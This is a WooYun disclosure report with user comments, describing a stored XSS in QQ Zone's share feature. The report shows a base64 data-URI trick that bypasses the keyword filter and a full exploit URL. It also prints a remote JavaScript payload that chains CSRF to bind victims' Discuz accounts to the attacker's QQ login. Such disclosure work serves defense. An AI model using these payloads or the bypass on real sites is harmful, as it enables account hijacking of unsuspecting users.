当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128752

漏洞标题:利用QQ空间存储型XSS漏洞配合CSRF漏洞劫持用户其他网站帐号(敏感标签403拦截可绕过\403 bypass)

相关厂商:腾讯

漏洞作者: q601333824

提交时间:2015-07-24 10:09

修复时间:2015-10-22 15:52

公开时间:2015-10-22 15:52

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-24: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开

简要描述:

1.本测试全部来自fuzz测试(全部根据返回内容判断,如有判断错误,见谅)
2.XSS输出点没有进行过滤,但是如果输入敏感的标签关键字,服务器会返回403错误.但是实际上并不严格
3.别人说标题长big也大一点
(已经补充利用方式)

详细说明:

1.QQ空间分享网页的时候,其中?url这个参数没有对双引号进行过滤,如图
①.

111.png


②.

2222.png


2.这个参数虽然没有进行过滤,但是只要输入一些触发事件的标签,就会提示403,然后页面一片空白,比如我输入,然后会变成这样无法访问,如图

"><scrpt/src="//1111"><

333333.png


3.如果输入一些正常标签,没有触发JS脚本的话.就不会拦截,测试的代码有
<img/src="1"/onerror="alert(/111/)">------------→拦截
<img/src="1">------------→没有拦截
<script/src="//11">------------→拦截
<scr/src="//11">------------→不拦截
<iframe/src="//11">------------→拦截
<if/src="//11">------------→不拦截
<a/href="javascript:alert(/1/)">----拦截
4.下面测试了很多,就列出来这些,从这些上面,可以看出来,是根据关键字进行拦截
5.但是测试到 <a/href="data:text/html;base64,XXXXXX">的时候,会分成两种情况
①.第一种情况,这个编码输出的<br>:
<a/href="data:text/html;base64,data:text/html;base64,PGJyPg==">aaa</a> --------------→ 不拦截

4444.png


② 第二种情况,这个编码输出的<img/src="1"/onerror="alert(/1/)">:
<a href="data:text/html;base64,PGltZy9zcmM9IjEiL29uZXJyb3I9ImFsZXJ0KC8xLykiPg==">aaa</a> -------------→拦截

sdffsfsd.png


6.这个时候脑洞开一下,如果把第一种情况,和第二种情况结合一下,<br>可以通过,如果<br>的编码,带着<img/src="1"/onerror="alert(/1/)">的编码,是不是可以也能通过403???于是下面测试了一下

bianma.png

<br><img/src="1"/onerror="alert(/1/)">

            ↓(编码)

PGJyPjxpbWcvc3JjPSIxIi9vbmVycm9yPSJhbGVydCgvMS8pIj4=


↓(把最后的等于号编码了,因为url那里不能存在等于号)

PGJyPjxpbWcvc3JjPSIxIi9vbmVycm9yPSJhbGVydCgvMS8pIj4%3d


7.然而并没有拦截

pppp.png


8.提交一下试试,查看空间代码

ceshiaaa.png


9.然后点击之后,弹一下窗口试一下

ceshiaaabbbbbbbbbbbb.png


10.查看来源,证明是从QQ空间弹出来

ceshicccc.png


-----------------------------------------------------------------------------------
11.但是这个太小了,一般很难让人点到,可以加一个CSS样式,把XSS点,放大,如图,已经通过CSS样式,把XSS点放大,鼠标随便移到哪里都能看见连接,红字标记

无标题.png


---------------------------------------------------------------------------------------
12.然后审核的人说,需要利用方式,于是我一直在想,想到了昨天提交的漏洞,还没有修复
WooYun: 利用QQ的一处小小的设计缺陷劫持其它网站用户帐号(已经录制视频证明不是IP问题)
13.这个漏洞我提交的时候说过,那个登录连接从别的网站,点击跳转会提示403,但是从QQ聊天窗口和QQ空间,本地跳转不会拦截,然后看这张图

ceshicccc.png



14.虽然这个XSS不在qq.com域内,但是你看,referer是qq空间的,说明可以打开登录连接,也就是说,上个漏洞在这次的漏洞可以进行利用了
-------------------------------------------------------------------------------------------------
15.以下测试的利用图
1.先构造代码

<br><script/src="http://guanggao456.sinaapp.com/1.js"></script>



     
   ↓(Base64编码+url编码)
2.

PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b




3.得到了分享网页的连接,然后发表到空间,直接嵌入到空间个人中心状态了

http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2Fdonghua.dmzj.com%2F%23%22%3E%3Ca/href%3d%22data:text/html;base64,PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b%22style%3d%22left:0px;top:%200px;%20width:%20100%25;%20height:%20100%25;%20position:%20fixed;%22&title=%E5%BE%88%E4%B9%85%E5%BE%88%E4%B9%85%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6&desc=&summary=&site=


4.其中http://guanggao456.sinaapp.com/1.js里面的代码是

window.onload=function aa(){
window.open("xxxxxxxxxxxxxxx")
};//这里填写自己登录连接,为了让别人的电脑登录自己的帐号
function bb(){
var e=document.createElement('iframe');e.setAttribute('src','http://www.discuz.net/connect.php?mod=login&op=init&type=loginbind&referer=home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp');document.body.appendChild(e);
};
setTimeout("bb()",2000)//延迟2秒,打开Discuz社区的绑定连接


5.上面的代码合起来利用方式就是,把XSS点在空间个人状态放大,铺满整个屏幕,然后当用户进他自己个人中心看状态的时候肯定会点鼠标,然后XSS执行了,先window.open,打开实现设置好的我的登录连接,再延迟两秒,创建iframe,打开Discuz社区绑定的QQ帐号的连接,然后就没然后...........................
--------------------------------------------------------------------------------------------
6.测试图片
1.可以看见CSS把XSS点放大到全屏,随便点都能中

ceshi222222222.png


2.当用户在空间一通瞎点的时候,XSS触发了,先打开我的登录连接,然后开始倒计时绑定帐号了,噢噢噢噢噢噢噢.666666

ces3333.png

漏洞证明:

1.漏洞证明看上面
2.先访问这个连接,分享一个网页

<code>http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2Fdonghua.dmzj.com%2F%23%22%3E%3Ca/href%3d%22data:text/html;base64,PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b%22style%3d%22left:0px;top:%200px;%20width:%20100%25;%20height:%20100%25;%20position:%20fixed;%22&title=%E5%BE%88%E4%B9%85%E5%BE%88%E4%B9%85%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6&desc=&summary=&site=


3.其中http://guanggao456.sinaapp.com/1.js加载的内容是
<code

window.onload=function aa(){
window.open("xxxxxxxxxxxxxxx")
};//这里填写自己登录连接,为了让别人的电脑登录自己的帐号
function bb(){
var e=document.createElement('iframe');e.setAttribute('src','http://www.discuz.net/connect.php?mod=login&op=init&type=loginbind&referer=home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp');document.body.appendChild(e);
};
setTimeout("bb()",2000)//延迟2秒,打开Discuz社区的绑定连接


修复方案:

1.过滤
2.403拦截恶意代码并不是那么严谨啊
3.上次的漏洞还存在被利用的风险
4,如果知道对方经常看哪个网站,那个网站又没有绑定连接的验证,我就可以实现设置好连接,他进自己个人中心的时候我就在那等着了.......

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-24 15:51

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-24 15:58 | 牛 小 帅 ( 普通白帽子 | Rank:431 漏洞数:100 | 什么狗屁爱,生活已乱套!人的一生中,...)

    啊哈哈 终于审核啦 会不会下雨

  2. 2015-07-24 16:52 | 随随意意 ( 普通白帽子 | Rank:160 漏洞数:35 | 我对XSS并非真爱(┬_┬)最近有人冒充该...)

    我就知道空间有XSS,被插了几次了,艹

  3. 2015-07-24 17:15 | 牛 小 帅 ( 普通白帽子 | Rank:431 漏洞数:100 | 什么狗屁爱,生活已乱套!人的一生中,...)

    @随随意意 哈哈

  4. 2015-07-24 21:01 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1678 漏洞数:268 | ...........................................)

    666

  5. 2015-07-24 21:31 | Mirror ( 路人 | Rank:19 漏洞数:5 | ->_->)

    666

  6. 2015-07-25 14:22 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @HackBraid 别6了,标题档,虽然XSS是QQ空间的,但是触发是在QQ域外,只能利用CSRF了

  7. 2015-07-25 14:26 | 小龙 ( 普通白帽子 | Rank:1244 漏洞数:319 | 乌云有着这么一群人,在乌云学技术,去某数...)

    <script>alert("6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666")</script>

  8. 2015-07-25 20:19 | 腹黑 ( 路人 | Rank:14 漏洞数:10 | (◦ "̮ ◦))

    辣么酷炫~

  9. 2015-07-27 20:10 | Mowen ( 路人 | Rank:6 漏洞数:3 | 没个性,不签名!)

    坐等忽悠悠悠悠……

  10. 2015-07-28 11:51 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    啧啧啧,某些人自重,别一加好友,上来一句话就是,“你的漏洞给我看下,说不定和我以前的一样”,我不傻了要是给你看了,说不定就在别的平台出现了。(虽然不知道是谁,自重,有时间问,不如对打几把英雄联盟,出去看看外面的风景,才发现20投如此简单)

  11. 2015-07-29 09:22 | chock ( 实习白帽子 | Rank:58 漏洞数:15 | 今夜我们都是wooyun人,我们一定要收购长亭)

    洞主这性格。。。我真TM欣赏

  12. 2015-09-15 11:25 | KevAxe ( 路人 | Rank:22 漏洞数:4 | 好好学习!好好学习!!好好学习!!!)

    玩的真溜!